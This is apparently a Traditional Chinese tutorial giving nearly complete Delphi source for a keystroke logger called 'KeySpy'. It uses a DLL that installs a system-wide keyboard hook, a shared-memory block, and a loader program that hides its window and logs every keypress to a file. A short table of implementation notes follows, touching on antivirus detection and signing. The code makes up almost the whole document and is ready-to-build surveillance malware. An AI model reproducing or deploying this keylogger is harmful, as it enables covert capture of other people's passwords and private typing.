Windows Hook 機制允許將自定義函數注入系統訊息鏈,攔截鍵盤、滑鼠等輸入事件。全域 Hook 必須放在 DLL 中,才能在目標進程地址空間載入並執行。本文示範鍵盤記錄器核心代碼:DLL 端安裝 WH_KEYBOARD Hook、共享記憶體傳遞資料、主程式端動態載入/卸載 DLL、啟動與停止 Hook。
SetKeyHook、EndKeyHook、SetMainHandle;DllMain 建立檔案映射共享記憶體。LoadLibrary 載入 DLL,呼叫導出函數,隱藏視窗,記錄按鍵至檔案。
library KeySpy;
uses Windows, SysUtils, Classes;
var
hNextHook: HHOOK = 0;
hMap: THandle = 0;
HookRec: PHookRec = nil; // 共享記憶體結構
FileName: String = 'C:\KeyLog.txt';
type
THookRec = record
MainHandle: HWND;
// 可擴充其他共享欄位
end;
function KeyboardHookHandler(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var SL: TStringList;
begin
if Code < 0 then begin
Result := CallNextHookEx(hNextHook, Code, wParam, lParam);
Exit;
end;
if lParam < 0 then Exit; // 僅處理 KeyDown
SL := TStringList.Create;
try
if FileExists(FileName) then SL.LoadFromFile(FileName);
SL.Add(FormatDateTime('YYYYMMDD HH:NN:SS:ZZZ: ', Now) + Char(wParam));
SL.SaveToFile(FileName);
finally
SL.Free;
end;
Result := 0;
end;
function SetKeyHook: Bool; stdcall; export;
begin
hNextHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookHandler, HInstance, 0);
Result := hNextHook <> 0;
end;
function EndKeyHook: Bool; stdcall; export;
begin
if hNextHook <> 0 then begin
UnhookWindowsHookEx(hNextHook);
hNextHook := 0;
Beep;
end;
Result := hNextHook = 0;
end;
procedure SetMainHandle(Handle: HWND); stdcall; export;
begin
if HookRec <> nil then HookRec.MainHandle := Handle;
end;
procedure EntryPoint(Reason: Integer);
begin
case Reason of
DLL_PROCESS_ATTACH:
begin
hMap := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), '_CBT');
HookRec := MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 0);
end;
DLL_PROCESS_DETACH:
begin
if HookRec <> nil then UnmapViewOfFile(HookRec);
if hMap <> 0 then CloseHandle(hMap);
end;
end;
end;
exports
SetKeyHook index 1,
EndKeyHook index 2,
SetMainHandle index 3;
begin
DllProc := @EntryPoint;
EntryPoint(DLL_PROCESS_ATTACH);
end.
function SetKeyHook: Bool; external 'KeySpy.dll' index 1;
function EndKeyHook: Bool; external 'KeySpy.dll' index 2;
procedure SetMainHandle(Handle: HWND); external 'KeySpy.dll' index 3;
// 啟動
SetMainHandle(Handle);
SetKeyHook;
// 停止
EndKeyHook;
| 技術點 | 說明 |
|---|---|
| WH_KEYBOARD vs WH_KEYBOARD_LL | LL (LowLevel) 不需 DLL、在呼叫者執行緒處理、Vista+ 需簽名;傳統 WH_KEYBOARD 需 DLL 注入、效能較好、XP 相容性佳 |
| 共享記憶體 | CreateFileMapping + MapViewOfFile 讓所有被注入進程共用同一結構體,傳遞主視窗 Handle 等資料 |
| 檔案寫入效能 | 範例每鍵都 Load/Save 整個檔案,實際應用應用緩衝區、定時刷盤、或用 MemoryMappedFile |
| Unicode 支援 | Delphi 2009+ 字串為 Unicode,Char(wParam) 可能截斷,建議用 WideChar 或 ToUnicodeEx |
| 防毒誤報 | 鍵盤 Hook 屬敏感行為,正規軟體需數位簽名、說明用途、避免隱藏行為 |